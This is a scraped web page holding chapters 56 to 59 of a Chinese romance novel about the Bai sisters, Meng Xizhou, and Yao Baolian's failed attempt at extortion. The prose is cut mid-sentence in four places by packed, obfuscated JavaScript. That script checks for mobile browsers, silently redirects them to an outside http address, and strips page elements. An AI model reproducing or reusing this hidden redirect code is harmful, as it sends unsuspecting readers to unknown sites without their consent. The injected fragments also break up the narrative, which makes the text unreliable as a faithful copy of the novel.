d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774254|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸红是出于愤怒,煽风点火般又强调了一遍:“所以呀,可不能上他的当!” 白瑾璎讷讷地敷衍几句,逃也似的跑走了。 反倒是余佰觉得不得劲,白小姐急匆匆地回去,料想是去给那先生挂绝交的电话了,我的告诫,到底从虎口里救了她。只是当事人没有很激动的言语上的表示,自己这告诫,就显得不大有价值。 回家随便用了点饭,正要出去跑一段新闻,迎头又撞见一个身影,于是那低落的心情,瞬间又振奋了起来。笑道:“哎哟,瑾琪小姐,今天下课这么早?” 余佰自诩八面玲珑,就连对这三位白小姐的称呼,都是各有讲究的。 譬如白瑾瑜显然受过西式的教育,人也很西化,是以他便喊她“密斯白”;相反白瑾璎是个文静的古典女子,那就以传统的叫法,称其为“白小姐”;最后白瑾琪年纪最小,性格也活泼爽快,喊一声“瑾琪小姐”,总不会招她的讨厌。 在这人际交往上,余佰是深谙其法哩! 白瑾琪果然也不讨厌,甚至心情颇好地回答他:“可不是,下午公共课的老师请了病假,早早就放学了。” 余佰盯着她打量了一阵,奉承道:“都说红气养人,自从你上过报纸后,眼见着精神气儿都更饱满了,拿现在拍电影的明星来说,也未必有你这样青春靓丽的美!” 偏偏这话正刺中了白瑾琪心里的痒处:今天下学的时候,一位明星经理人专程等在学校门口,给她递了一张名片哩!此刻,这名片正被她贴身收在口袋里,在她自己而言,当然十分意动,只是要不要和家里两个姐姐说,一时还拿不定主意。 据说拍杂志画报,是有酬劳可拿的,她现在最大的症结所在,不就是自己一穷二白,其实是靠了白瑾瑜的供养过生活吗?要是自己在拿了报酬之后冷不丁地宣布,恐怕连大姐姐都要震惊的吧? 这样畅想着,脸上已带上一点小小的得意骄矜,问余佰道:“你瞧我,真比时下的明星更好吗?兴许我以后,也能当个演电影的大明星呢!” 余佰当然捧场,道:“怎么不能?报纸上不都评价你是‘未来演艺界的人才''么?”因身上正好带了纸笔,当下掏出来向白瑾琪一递,“来,大明星,请留一个签名,我以后也好做个纪念。” 白瑾琪心花怒放,接过自来水笔刷刷签下大名,写完才发现那笔迹不大好看,也不够有派头,要是自己当真能在演艺界大放光彩,首先得练个漂亮的签名才行。 左看右看,还是将那页纸撕下来揉成一团,心虚道:“现在留签名,我也太不谦虚了,等以后,以后一定给你签一个!”说罢甜笑一下,道个别回家去了。 余佰虽然感到一点可惜,但自己这一套嘴上功夫,显然在白瑾琪身上大获成功,自己也跟着神清气爽起来,哼了小调上班去了——世上爱侃天侃地的人,可不正需要一个嬉笑怒骂的好听众吗? 56. 第 56 章 自从那一吻后,白瑾瑜与孟西洲便蜜里调油起来。所谓有一就有二,不出几天,接吻亲昵已如同家常便饭一般。 白瑾瑜也由此看出来,孟西洲这个人实在有点人前人后两幅面孔,但凡在大庭广众的场所,总归是人模人样的沉着得体,至多不过和她挽着手臂,凑近一点说话罢了;可一到没有人的包厢里,怎样亲昵的事都要拉着她做。 这一点倒正合白瑾瑜的心意。 从前她和柳世新在一起时,对于他总想在人前亲密这件事就感到不满。也不知道男士们是出于什么心理,是想显摆这一位漂亮的小姐是自己的所有物呢,还是单纯的没有控制自己行动的能力,反倒显得小姐们都是任人摆弄的陪衬品。一点体面也不讲。 孟西洲就从不这样,却喜欢在吻到情浓处时自荐资源,头一回是这样说的:“等和陈老板的一年约期满之后,直接和我签合同怎么样?价钱上随你来开,年限也由你说了算,不是很方便吗?” 白瑾瑜正浅浅地追着他的嘴唇,猛然听到工作相关的话题,人虽迷离着,脑子却像接收到警报一般强制地开始冷静,没有顺着气氛便答应下来,而是闭紧了唇齿,不轻易作表态。 孟西洲见这一招趁虚而入并不对她奏效,唯恐她事后又要给自己扣一顶“玩手段”的帽子,干脆不再提起,只把这断断续续的吻重新地接上。 反倒是白瑾瑜思索出一点门道来,等他又试探着开过几次口后,故意说:“我不要,你这个样子,真像是哄骗我和你签卖身契。” 孟西洲气得不轻,也顾不上彼此正吻得难舍难分,当下唇齿紧闭地退到一边,做出一副凛然不可侵犯的样子,那意思是不受她这一句污蔑。 白瑾瑜看着他矜持的样子,心里先感到几分有趣,再看到孟西洲的唇边沾了一点她的口红,那就更有意思了,甚至扑哧笑了一声,从口袋里拿出一条手绢来要给他擦。 因为她那一声笑,孟西洲郁结更盛,本想再避开一下,可看到白瑾瑜笑吟吟地主动靠过来,到底坐在原处没有动。又见她伸手擦拭自己的嘴唇,也就明白了是怎么一回事,心里也不知是气自己还是气她,冷冷地道:“你真厉害,好的不学,净学些坏的。” 他的本意,是指白瑾瑜气他的事,后者却没有领会,吃惊了一瞬道:“分明是你来亲我的,原来这是坏的吗?好吧,孟先生,那么从现在起,咱们修身养性好了。” 见孟西洲当下拧起眉头,这才笑着说回正题:“好了,你以为我是提防你,不愿领受你的好意吗?我是不愿将公事与私事混作一谈。我问你,我的生意经营得好,是谁的本事?谁的功劳?” 孟西洲不大明白她为何有此一问,照实说道:“自然是你的本事,且你这本事,谁也拿不走。” 白瑾瑜对他这话很受用似的,微笑了一下说:“这本来就是事实,偏偏时下对于女子的评判太过严苛,尤其是生意场这样夺利的地方,好像我多占他一分利益,就有损他十分颜面,但凡有一点捕风捉影的消息,势必有好一通口诛笔伐等着我。” “说我的生意之所以蒸蒸日上,都是靠了和孟先生的恋爱关系,不光白用他的货轮,私下里,还不知给了我多少助力。进而再攻击我的人格,说我走的尽是歪门邪道,拿感情去交换利益。做生意的人不要名声的吗?还是你为了显示用情之深,要抢走我证明自己的功劳呢?”白瑾瑜伸出一根指头,在孟西洲的眉心轻点了一下。 孟西洲沉默了片刻,随后道:“也好,你和陈老板签合约,总归没人敢多说你一句闲话。”末了又追加道,“我也不急于这一时。” 那就是对她的做法,表示出全然的支持了。 又握住了白瑾瑜轻点他的手指,脸上总算露出一点笑意,说:“我知道你是很不耐烦解释的性格,今天和我说这么多,可见我在你心里的位置,已经不大一样了。”说话间,已将她的手指带到唇边吻了一下。 白瑾瑜的心跳莫名漏了一拍似的,心想,我当真待他格外不同吗?怎么个不同? 自己交往过的人,也就是柳世新和孟西洲了,于是下意识地和前者做比较,只是白瑾瑜一想起柳世新便觉得晦气,她不觉得自己偏心,自认用最公正的眼光去看,柳世新也绝没有和孟西洲相提并论的资格。她也是和孟西洲交往之后才体会到,在决断力与为人处世面前,再俊美的面孔都不顶用。 孟西洲懂分寸又尊重人,头脑聪明言之有物,凡事一句话就能够领会,比柳世新省心不知多少倍,我优待他一点,那简直再正常不过。 于是将他这句话默认下来,一道用过一顿愉快的午餐后离开了。 他二人虽说事务繁重,但好在不必特别受拘于办公室的苦,孟西洲愿在家里工作时,白瑾瑜带了文件账目过来陪伴一会儿,也是常有的事。只是却不知道这一回从孟公馆离开的时候,有一双眼睛,在时刻注意着她哩。 这又要说回到姚宝莲的身上,上次偷放相片的谋划当然没有得逞,可在姚宝莲的视角,便如同小石子丢进了大海,再没有音讯了,怎能不等着抓心挠肺? 要说孟先生对她有点意思,发现了这么一张精巧的相片,怎么也该会一会她问问缘由吧?可好几天过去了,连个带口信的人也没有。要说招了孟先生的讨厌,可教会学堂的学费还好好地缴着,并没有要惩戒她的意思。 不要是孟先生根本没穿那件外套吧? 这一边等得心焦,那一边黄老板又歪缠过来,说自己为了她正和家里的婆娘闹离婚,她这个“祸首”,总应当有所表示。姚宝莲是骑驴找马,也不舍得将这条已经上钩的鱼放跑了,只好身体力行地又敷衍了他两回,人却再也坐不住了。 三天里有一天,总要招了黄包车拉去孟公馆的围栏外,瞧瞧里头的动静。 有时候白站上一个多钟头,什么都没等到;有时候则是等到一辆气派的林肯牌洋车长驱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783538|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直入地开进大门,也不知里头坐的是不是孟先生,她一个柔弱女子,到底不敢去拦汽车。 不过就有那么一回,真让她看见了不得了的一幕。 孟公馆气派的金铜色大门距离住人的洋楼,其实隔了不小的草坪花园,平时洋车开进开出,大多是直停在洋楼前接人的,哪个愿意多走一段路?不过这一天倒奇怪,那洋车只管开到大门外就停下。 姚宝莲起初以为是有人上门拜访,不够资格将车子开到公馆里去,可等了半天并不见有人下来,反倒是司机先下来透口气。叫人意外的是,门房竟是和他很相熟的样子,不光主动和人攀谈,还很客气地敬了根香烟。 不是送人过来,那就是要接人了,倒要看看是哪一位人物。 这一次只等了几分钟,就有人影靠近了。姚宝莲定睛仔细一看,心里更是吃惊了,竟是孟先生陪着一位小姐走了过来! 那小姐的长相看不清楚,只是她身姿袅娜,又烫了一头时髦的卷发,身上的洋装只在画报亭的外国杂志上看见过,远远一望便知道是个美人。孟先生亲自送了她出来,这还不算,临上车前,还俯过身同她接了一个吻。 这对姚宝莲而言,当然无异于当头一棒,可将自己同那小姐做一个对比,也知道希望渺茫,于是那心思又往另一个方向转变了。 孟先生这一位女伴,知不知道自己的存在呢?在爱情这件事上,小姐们的患得患失可不能小看,设若自己以一个“情敌”的身份出现,那小姐为了把自己打发走,势必要出一笔钱。自己能得一笔财富,也是好的。 即便不能,回去恐怕也要和孟先生大吵一架。给孟先生的爱情添一点堵,让他也尝一尝失败的滋味,姚宝莲也觉得痛快。 这大概是求而不得,转而因爱生恨了。 至此,蹲守孟西洲的计划便改成了蹲守白瑾瑜,这就要简单得多。孟先生为了和女友多相处一会儿,往往是让洋车等候在大门外,只要见着了那开车的,自己请托司机带一句话,这位小姐,总不至于不来。 于是一路里进行下去,终于在某一个星期四,叫她给等到了。 她对那开车的说自己姓姚,与孟先生很有些渊源,想和他家小姐单独说几句话。又煞有介事地叮嘱不能让孟先生知道,就是要私下里谈才合益,自己就在马路直行拐角的画报亭那里等着。 不出十多分钟,那洋车果真开了过来,路边一停车门一开,那时髦小姐便走下车来。 哪知还不等姚宝莲窃喜,那小姐向四处望了一圈,先开口道:“我没有在路边谈话的习惯,何况在马路牙子上,算什么‘私下''?我看那里一爿咖啡店还不坏,有什么话,就去那里坐着谈吧。” 姚宝莲被她抢了头一句话,没来由地先减少了三分底气。再顺着白瑾瑜指示的方向看去,那一种西式装潢的店面,自己即便手头宽裕也从不敢迈进去的,这一露怯,原先的底气也就只剩下十之二三了。 57. 第 57 章 姚宝莲之前只远远地见过白瑾瑜一次,便在心里猜测她是个美人,如今人就坐在自己的对面,仅隔着一张小圆桌子,那一种摄人心魂的明媚的美,才真叫扑面而来。 她自己就是个自恃美丽的人,从前没有钱时,便极力地把自己捯饬干净;如今手头宽裕了,更是不遗余力地要将这份美丽做一番卖弄展示。可此刻坐在这位白小姐面前,她竟有种想低下头去避其锋芒的怯怯,唯恐被别人拿去和她作比较。 在她正感到无措的时候,白瑾瑜已招来了西崽,要了两杯“蔻蔻”。 姚宝莲也不知道“蔻蔻”是什么,一见她点单,当下便有一阵紧张,挺直了腰板声明道:“这家店不是我要来的,不拘点什么,我可不会出钱。” 白瑾瑜带着好笑地瞧了她一眼,说:“我带你进来的,当然我来会账。这一点钱,我总还出得起。”说话间,也拿一双漂亮的眼睛打量了她一眼。 之前听孟西洲说姚宝莲和她有两分相像的时候,白瑾瑜就有些想要见一见她了,如今仔细一看,倒不觉得像。只是对方垂下眼睫的时候,那眼帘的弧度里,可以看出一点自己的影子,偏偏姚宝莲又勾了一道细长的眼线,若不是自己带了先入为主的印象去看,是绝说不出一句“像”的。 她对姚宝莲,实在谈不上讨厌,更遑论嫉妒了。反倒觉得她要是真和自己有一点相似,那总归是个漂亮女子,希望她过得体面一些。 是以看过之后,很和气地问道:“裕兴教会学堂很不坏,我听说许多女学生毕业后做了会计或者文秘,你的书念得怎么样?以后想做什么?” 姚宝莲心里的警钟一阵乱敲,心道,她竟然知道我在念教会学校吗?这势必是孟先生告诉她的,这是来向我示威了呀!于是抿出一个羞怯的微笑,貌似惊喜地道:“孟先生连这也说了?他肯供我上学,我心里别提多么感激了。” 又叹了口气,“孟先生把这话都和你小姐说,可见对我念书的事很上心,可惜我读书的能力有限,要辜负他的期待了。” 白瑾瑜笑了一声,将西崽端来的蔻蔻抿了一口,“他这个人就是好心,不管你的能力有多少,只要真用了功,就算对得起他了。” 姚宝莲见她怎样都不接茬,也全然没有一丝质问的口气,说来说去不是读书就是用功,真如一拳打在了棉花上,不得劲得很,心里一横,干脆就由自己挑破了罢! 于是扯了扯嘴角,主动问道:“白小姐怎么知道我的呢?不要是孟先生拿我的相片给你看了吧?” 见白瑾瑜的视线直直地看过来,自己竟像被利箭刺中一般,反倒心虚起来,眼神闪烁着躲避开,又急急地端起自己那一杯蔻蔻饮了一口以作遮掩,这才欲盖弥彰地解释道:“孟先生那里,有我一张相片的,故而我想,白小姐认识我,总归是看过我的相片子吧。” 白瑾瑜饶有趣味地盯着她看了一会儿,随即竟笑了一声,说:“你的相片,我还真见过。不过以后还是别送给不想要的人了,孟西洲气得很,撕个粉碎不说,连碎片都不想揣进家门。自己花大力气拍出来的好相片,何必送到别人手上,让别人去撕?” 这一下,姚宝莲可就装不下去了,脸色羞恼地一片通红,心里忿忿道:这是要打我的脸,说我的相片被孟先生撕了,还不知道撕的人究竟是谁呢! 姚宝莲发狠地拧了一把自己的大腿,眼里顿时浮起一层水光,像是在白瑾瑜那里受到了侮辱似的,瞪着她委屈道:“白小姐是看不起我,觉得我这个受人接济的人,送给恩人一张相片,是在玩什么手段吗?” 白瑾瑜有趣地动了动眉梢,微笑着,并不受到她情绪激动的影响,说:“你有没有玩手段,自己心里清楚就好,也不必我来觉得。即便是你耍的手段,也无不可呀,不过手段也有奏效不奏效之分,明知道不奏效,还要一意孤行地去进行,岂不是凭白让别人看笑话?” 又说,“这世道对于女子而言,本来就不大容易,懂一点手段,总归对自己很有利。我就有一个不懂耍心眼的妹妹,要不是生在我们家,不知道要受多少欺负。” 她说这话并不带有恶意,不过姚宝莲拿敌对的眼光去看她,听什么都像是针扎耳朵似的。 她本意是要挑起白瑾瑜的嫉妒心,好狠狠敲一笔竹杠,可谁知道这白小姐就像老僧入定一般,说什么她都不生气。拿不下姓孟的,姓白的也是油盐不进,这两个人凑在一起,真是铜墙铁壁一块!一个也不能击破! 姚宝莲眼看一文钱也捞不到,近乎是气急败坏,又听见白瑾瑜问了她一句成绩怎么样,那火气便直往脑门上冲,冷哼道:“成绩管什么用?但凡孟先生肯多一点好心,我何必还要费劲读这些破书?!” 她偷觑了白瑾瑜一眼,一想到自己往后兴许就要跟了黄老板,多叫人不甘心!反倒生出一股勇气来,可怜道:“白小姐,孟先生真不能多一点好心吗?那您呢?我看您一定生在富贵的家庭,什么也不缺,您这样大度,就把您的好心,分一点给我吧!” 在她上一句话说出口时,白瑾瑜的笑容便已经收敛了,人虽是微笑着,眼里却透出一点冷意,反问道:“孟西洲和你非亲非故,白白出钱让你上学,还不够好心吗?” 姚宝莲抽噎道:“不够,不够。这学上过三年,总要毕业的,那之后我可怎么办呀!” 白瑾瑜望着她冷笑道:“但凡你好好地读书,毕业之后,还能找不到事做吗?这样的问题还要问,足可见你是个蠢货。” 白瑾瑜虽然气场强势,说话却从头到尾都挺和气,不然姚宝莲也不敢蹬鼻子上脸地开条件了,此刻突然骂出一句“蠢货”来,姚宝莲倒懵了,抽抽搭搭的声音也停在了半当中。 她也是被姚宝莲的无耻磨光了耐性,喝口清水下了下火气后也不兜弯子,直白道:“我说错你了吗?不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787263|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说孟西洲瞧不上你,就是我,也要瞧不上你。换作我是你,有这样一个机会,非得把书念透了不可,以后做什么不行?学到手的本事,换谁都拿不走。” 姚宝莲讥讽道:“好漂亮的话!像你这样吃穿不愁的大小姐,还懂我的苦呢!” 白瑾瑜根本不和她对辩,自己那一堆烦心事说出来,她就能懂了吗?真是笑话! 姚宝莲见她只是挂着冷笑,并不做声,好像把她心里的弯弯绕绕都看透彻了似的,那一阵心虚又冒出头来,掏出手帕来擦着眼角,哭道:“我们穷人没有本事,当然斗不过你!你去告诉孟先生好了,吹一吹耳边风,让他把他的‘恩赐'',都收回去好了!” 说着,呜呜呜地小声哭起来,还不忘在手帕的遮掩下,偷看白瑾瑜的脸色。 她心里真害怕白瑾瑜要去告密哩!好歹学校是很显示身份的地方,每月三十的生活费也绝不可缺少,她知道今天惹怒了白瑾瑜,为了保住这最低的资助,这才故意使出这一招激将法。 有钱人家的小姐们都清高得很,自己摆出料定了她会去告密的架势,她反倒要为了自证清白,绝不去那样做了。 白瑾瑜看她演得热火朝天的样子,心里又觉得好笑了。不过姚宝莲的生活费和学费,她可不会去干涉,私心里甚至赞同交到她毕业为止,甭管她是不是老老实实去上学。 一来,不管初衷如何,这都是孟西洲的善举和好心,她没有不支持的。二来,设若将资助中断了,如姚宝莲这样升米恩斗米仇的人物,势必要极力地抹黑对方,叫他背一个不“善始善终”的骂名。要是孟西洲受到如此污蔑,自己才是真要感到生气。 不过想归想,面上却不想让姓姚的太过如意,故意坏心眼地说:“你这话倒是提醒我了,我看你并没有读书的心思,一样要帮助,为什么不帮助一个求学无门的人?这钱花出去的意义,就大很多了。” 见姚宝莲愣愣地望着自己,又冲她一笑,套用她的话道:“孟西洲好说话得很,我轻轻吹一下耳边风,他没有不答应的。反正就是一句话的事,即便事后想起有你这么个人,改也改了,谁会在意呢?” 她的笑容和思维硬是震慑住了对方,等姚宝莲明显地着急起来时,已然错失了纠缠的机会。白瑾瑜早已会完了账,任凭她急匆匆地追出咖啡馆,人已坐上洋车跑了。 白瑾瑜带着畅快的心情离开咖啡馆,一面扭着头随意地看车窗外的风景,一面想:今天这一桩事,倒很有趣。照说姚宝莲此人和我没什么关系,是因为孟西洲的缘故才来我面前叫板的,不过她既然决定了私下里找我,我也没必要都告诉给孟西洲,他管我怎么对付她呢? 正想着,眼角余光掠过街上某一处,当下狐疑地坐正了身体。 汽车往前开着,街景便往后退,白瑾瑜几乎是探着身子往后去看,那一眼,可算是看清了,对司机惊呼一声:“停车!” 58. 第 58 章 白瑾琪因为怀着一桩秘密谋划的缘故,这两天格外显得兴奋,下午的社会课一结束,便小跑着冲去学校后门“会客”去了。 会的不是别人,正是前阵子递过名片的明星经理人许某,这位许先生面相白净,个子虽不高大,但衣着考究,头发拿发油一丝不乱地向后梳拢着,说起话来也谈吐文雅,给人印象就不坏。 白瑾琪也是一肚子主意的鬼灵精,不光见面谈话的咖啡馆是由她说了算,还让许先生预先准备了许多凭证,事无巨细,统统问了一遍。说他是个“明星经理人”,多少有些言过其实,不过是为明星们拍摄广告画的经理,但总归也不是个骗子。 那许先生险些招架不住这一通盘问,掏出手巾来揩着脸上的汗,笑着吹捧一句:“白小姐真是谨慎极了,如今的年轻女孩们听到要当明星,哪个不是飘飘然地涌过去,向您这样的,可是少见极了。” 白瑾琪也有一些自得,当下并不说话,只将许经理带来的几张广告画片拿在手里把玩翻看着。 许经理见她是有些意动的表示,顺势鼓吹起来:“要论拍电影,我们是够不着,可如今哪个女明星不拍广告画?你瞧瞧大名鼎鼎的林凌小姐,她这花香皂的广告画,就是由我们来拍的。再看最近红起来的陈美云小姐,不也是拍了美女月历牌,这才被发掘的吗?” 白瑾琪黑白分明的眼珠觑了他一眼,无可无不可地哼笑一下,说:“随便哪个百货公司,也知道挑最时新的好货摆在显眼的玻璃柜里,要真像你说的,哪儿哪儿都好,还怕没有漂亮的女明星供你们拍吗?何必要找我?” 许经理连忙“哎哟”了两声,道:“可不能这样说呀!女明星们是光鲜漂亮,可再漂亮的面孔,看多了也会腻的,我们正需要去发现一点新面孔哩!可要找一颗明星的苗子,那是多么难!” 那意思,白瑾琪便是他慧眼相中的“好苗子”了。 随即又讪笑一下,“当然了,要说利弊之中的后者么......白小姐毕竟只是小打小闹地演了一出话剧的女学生,在报酬上,那就有点欠缺。不过俗话说万丈高楼平地起,往后要是出了名,那就绝不可同日而语了!多少品牌开出优渥的条件,只求着你给一张相片呢!” 白瑾琪默默思忖着。 她对于演艺界,实在抱有很大的兴趣,再看手里几张相片,也各有各的美丽,并不显得俗气,对于拍一拍广告画,倒并不排斥。只是在使用的细则上,还是得仔仔细细地商量。 面上却做出一副兴致寥寥的样子,这一招把对方“吊着”的手腕,她还是从白瑾瑜身上学来的呢。 对面的许经理见她似乎并没有被说动,果然自发地退让了一步,道:“这样吧,白小姐要是下不了决定,不拘今天还是改天,不如去我们拍广告画的地方参观参观?也算对我们这一行,有一个了解了。我们还雇了专门的化妆师傅,可以给你上妆试一试哩!” 这还有不好的吗?白瑾琪终于“松口”答应下来,彼此约了下一次见面的时间,不想一道走出咖啡馆没多久,便听见有人远远地喊自己的名字。 这真是怎么也料不到的事,她会在秘密行动的时候,被白瑾瑜捉个正着!这下好了,有白瑾瑜的谈话技巧和气势,什么秘密都要被她戳破了! 果不其然,不过几句话的交锋,那许经理的态度便显见地毕恭毕敬起来,两手递上名片的样子,活像是希尔顿扒房里的西崽递上了菜牌子。 白瑾瑜将那名片接到手里,脸上虽挂了笑容,眼里却是冷的,当下就说:“我妹妹年纪小不懂事,就爱这一套华而不实的东西,她喜欢拍照,有我领她去大北照相馆就行了。” 她说话的口吻很客气,话里的意思却一点不客气,只一句话,就把许经理这根橄榄枝,彻底地回绝了。 许经理心里也懊恼,舍不得放过白瑾琪这灵气逼人的好苗子,讪笑着转圜道:“白小姐,我们是很正规的广告画公司,名气是不大,也绝不是那些骗人的野路子可比的。何况令妹又很有艺术梦想,您实在可以再考虑一下呀。” 白瑾瑜是很讲体面的人,尽管心里已经气得半死,脸上还是一派和气的样子,只微笑着反问:“摆个姿势,拍两张相片,叫什么艺术梦想?我虽然不学艺术,可追求梦想和出卖色相的区别,我还是分得清的。” 这一句话,已然是直刺核心了。 许经理自诩是“伯乐”,可一个人能不能红,那是说不定的呀!他到处游说漂亮女孩们来拍广告画,当然也抱着其中出几个大明星来的愿望,自己不抓紧着点,可就要被别家公司抢先了!可归根到底,眼下,不还是想拿这些美貌来卖钱吗?要是直白说出来,那就不大好听。 他被白瑾瑜一通抢白,脸上多少挂不住,一阵臊红。白瑾瑜却不再理他,拉了白瑾琪就往车那边走。 白瑾瑜从前就说一不二,白齐盛去世之后,更是家里“一言堂”式的人物了。是以她回绝许经理的时候,白瑾琪的心便往下一沉,心知自己的艺术梦想是要不保了。 回去的车里安静一片,白瑾瑜不说话,白瑾琪便也乖觉地默不出声,只等着踏进家门,刚要为自己争取几句,走在前头的白瑾瑜倒先转过身来,那脸上又是失望又是恼火,瞪着白瑾琪恨恨道:“你真是好样的,竟然想到去拍广告画!这么大的事,也不和我商量一声!” 白瑾琪将这件事隐瞒不报,自认绝没有恶意,受此怒火,也生出几分委屈,分辨道:“广告画怎么了?这满大街的广告,难道都是低俗的、不堪入目的吗?你自己还订了杂志画报呢......” 白瑾瑜盯着她,冷笑了一声:“你看着街上的广告漂亮,首先人家得是鼎鼎大名的人物,在你瞧不见的地方,多得是像你这样名不见经传的女孩呢。那些不出名的广告画怎么用,我告诉你吧,只要有商家愿意出钱买下来,随便把她印在哪儿都行。你真愿意在劣质的香烟盒子、甚至爱情病的宣传单上看见自己的脸吗?!” 这话说得太狠了,白瑾琪到底是个从小娇生惯养的小姐,只是热爱艺术罢了。热爱艺术有什么错呢?何至于被说成这样?她的心都要碎了。 当下淌了两串眼泪出来,颤抖着嘴唇道:“何必把我说得这么不堪,难道我是轻易就上当受骗的糊涂虫吗?我本来也、也不是非要拍广告画不可啊!” 白瑾瑜太急于打消她的念头,自己也知道话说的不妥,见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794597|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭得伤心,也就软下态度来,叹气道:“一旦照片拍下了,还由得你做主吗?好了好了,你就不能安分一点,好好念书吗?”掏出一条手绢,就要去给白瑾琪擦脸。 她的态度软化了,白瑾琪的叛逆心反倒强硬起来,自从搬来这里后,因为她“身无分文”的缘故,总有一种寄人篱下的压抑委屈,此刻借着开闸似的眼泪,一股脑给冲了出来。 白瑾瑜靠过来,她偏就后退着躲开她,哭道:“念书念书,我不爱念书!二姐姐喜欢念书,我不喜欢!我就喜欢表演!我干嘛要在学校里浪费时间?我为什么不能去话剧团演戏?” 白瑾瑜听着,刚刚放缓的脸色又冷凝起来,脑仁也跟着嗡嗡地胀痛,咬牙切齿道:“这是疯话,你这个年纪不读书,还想干什么?家里是缺你一口吃的吗?要你去抛头露面的供人取乐?” 白瑾琪不服气地抽噎着:“现在都什么时代了,说什么抛头露面什么取乐,亏你还是留过洋的人呢!那是艺术!那么多舞蹈家、表演家,不都是很受人敬重的偶像吗?” 白瑾瑜真要被她那一套套歪理气死了,讽刺道:“我可从没听说过,书没有念完就到处赶剧场演出的人里,出过什么偶像的!” 她知道自己现在是火气上头不大理智,便狠狠做了几下呼吸,尽可能好声好气地劝道:“瑾琪,我自认待你够尽心了,不拘陈姨太走没走,我就绝不会丢开你不管。你也替我想一想吧,你现在说不念书就不念,外头的人该怎样说我?说父亲一走,我就苛待同父异母的妹妹,非但不让她把书读完,还要靠她抛头露面捡活干,挣一份赏钱吗?” 这一番话实在称得上剖心置腹,偏偏刺中了白瑾琪心里最敏感委屈的一点,她当下拔高了声音叫起来:“你看!你看!我的喜好不重要,你的名声面子才最重要哩!我知道,我现在吃你的用你的,所以什么都得听你的。我连给自己做决定的资格,都失去了!” 她们俩的动静太大,引得楼上的虞妈都急匆匆地跑下来,看见这两姐妹彼此对峙的样子,惊慌地问个不停:“这是怎么了?这是怎么了?” 白瑾瑜气得脸色发白,那气愤之中,又有一种饱受压力而不被理解的深深的失望。 眼前的白瑾琪还能嚎啕大哭一场,自己担着一份支撑家庭的压力,那一种疲惫与无力,又可以向谁哭诉? 白瑾瑜两手握着拳,等感觉到一阵刺痛,才惊觉是握得太紧,指甲都在手心里留下了很深一道掐痕。要她跟着这个小兔崽子一起哭,她做不出;要她扯着喉咙跟她吵架或是拉了她的手彻夜谈心,那更叫人觉得疲累...... 干脆少费口舌,只说一句结论吧,“横竖你想不念书,那不能够,我是不会同意的。” 这句话,便等同于文件上一记刚戳,一座镇压的五指山了。 白瑾琪愣了两秒,随即捂着脸大哭了两下,也不管自己现在是一把鼻涕一把眼泪的邋遢样子,径直冲到三楼白瑾璎的房门外,哭着敲门道:“二姐姐!二姐姐开开门,你来给我评评理!” 敲了两下也没人答应,干脆囫囵抹了一把眼泪,自己将门把扭开了。推开门的瞬间,还不及说点什么,先就“啊呀”了一声。 59. 第 59 章 “真是吓死我了!”白瑾琪拍着胸口,可怜兮兮地倾诉,“你是不知道,那屋子里有多少书,每一本都厚得跟砖头似的,桌子上到处铺着稿纸,上头那些密密麻麻的字呀!这是真话,我考学的时候都没有过这样的阵仗!我二姐姐就一动不动地趴在那桌子上,我真以为她——吓死我了,吓死我了!” 郑家树坐在她对面的长椅子上,瞧着她灵动的神态,觉得很有趣味似的,道:“我记得你说过,你二姐是位女学究。后来怎么样呢?你二姐有没有帮你评理呢?” 白瑾琪顿时瞪圆了眼睛,“我哪里还敢跟她说?你想呀!她念书,都念得累倒了,真是发了疯了!我和她说我不要读书了,她哪里会支持我?” 说着,那漂亮的眉眼又蔫蔫地耷拉下来。她昨天和白瑾瑜大吵一架,原本想着拉白瑾璎帮帮忙,这计划当然没能成功,也就只能先这么耗着。但无疑拍广告画的道路,是走不通了。 郑家树看着她一下惊慌一下失落,实在有一种活泼泼的可爱,心灵一动,忽而说:“你要想往演艺界去发展,也不是全无办法。我有一个姑姑,做的就是电影经纪的工作,很有一点自己的人脉,我们平常联系的不算多,但倒是可以替你问上一问。” 白瑾琪的眼睛倏地亮起来,望着他道:“这是真话吗?真能替我问一问?” 郑家树点了一点头,突然抱着手臂坐正了身体,含着一点神秘的微笑向她问道:“我替你劳动这一回,有什么酬谢给我呢?” 